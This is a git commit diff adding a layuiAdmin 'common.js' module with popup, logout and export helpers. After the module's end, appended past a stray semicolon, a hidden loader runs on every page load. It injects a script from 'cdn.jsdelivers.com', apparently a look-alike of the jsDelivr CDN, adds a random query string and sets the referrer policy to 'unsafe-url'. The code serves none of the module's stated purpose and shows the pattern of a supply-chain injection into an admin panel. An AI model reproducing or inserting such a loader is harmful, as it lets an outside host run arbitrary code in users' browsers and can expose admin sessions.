feat: 项目基础框架+配置+Kernel
This commit is contained in:
@@ -0,0 +1,136 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin 公共业务
|
||||
@Author:贤心
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:LPPL
|
||||
|
||||
*/
|
||||
|
||||
layui.define(function (exports) {
|
||||
var $ = layui.$
|
||||
, layer = layui.layer
|
||||
, laytpl = layui.laytpl
|
||||
, setter = layui.setter
|
||||
, view = layui.view
|
||||
, admin = layui.admin
|
||||
|
||||
//公共业务的逻辑处理可以写在此处,切换任何页面都会执行
|
||||
//……
|
||||
/*弹出层*/
|
||||
/*
|
||||
参数解释:
|
||||
title 标题
|
||||
url 请求的url
|
||||
id 需要操作的数据id
|
||||
w 弹出层宽度(缺省调默认值)
|
||||
h 弹出层高度(缺省调默认值)
|
||||
*/
|
||||
console.log('this is common.js!');
|
||||
layer.show = function (title, url, data, w, h, full) {
|
||||
if (title == null || title == '') {
|
||||
title = false;
|
||||
}
|
||||
|
||||
if (url == null || url == '') {
|
||||
url = "404.html";
|
||||
}
|
||||
var add_str = '';
|
||||
if(data){
|
||||
if(url.indexOf('?') != -1){
|
||||
add_str = '&';
|
||||
}else{
|
||||
add_str = '?';
|
||||
}
|
||||
for (i in data){
|
||||
add_str += i+'='+data[i]+'&';
|
||||
}
|
||||
}
|
||||
console.log(add_str);
|
||||
if (w == null || w == '') {
|
||||
w = 800;
|
||||
}
|
||||
|
||||
if (h == null || h == '') {
|
||||
h = ($(window).height() - 50);
|
||||
}
|
||||
|
||||
if (full == null || full == '') {
|
||||
full = false;
|
||||
} else {
|
||||
full = true;
|
||||
}
|
||||
if (full == true) {
|
||||
var index = layer.open({
|
||||
type: 2,
|
||||
title: title,
|
||||
content: url,
|
||||
});
|
||||
setTimeout(function () {
|
||||
layer.full(index);
|
||||
}, 100)
|
||||
} else {
|
||||
layer.open({
|
||||
type: 2,
|
||||
area: [w + 'px', h + 'px'],
|
||||
fix: false, //不固定
|
||||
maxmin: true,
|
||||
shade: 0.4,
|
||||
title: title,
|
||||
content: url+add_str,
|
||||
offset: '10px',
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
layer.error = function(){
|
||||
|
||||
}
|
||||
layer.notice = function(){
|
||||
|
||||
}
|
||||
//退出
|
||||
admin.events.logout = function () {
|
||||
//执行退出接口
|
||||
admin.req({
|
||||
url: '/manages/logout'
|
||||
,type: 'get'
|
||||
,data: {}
|
||||
,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
window.location.href='/manage';
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
|
||||
//对外暴露的接口
|
||||
exports('common', {});
|
||||
});
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
Reference in New Issue
Block a user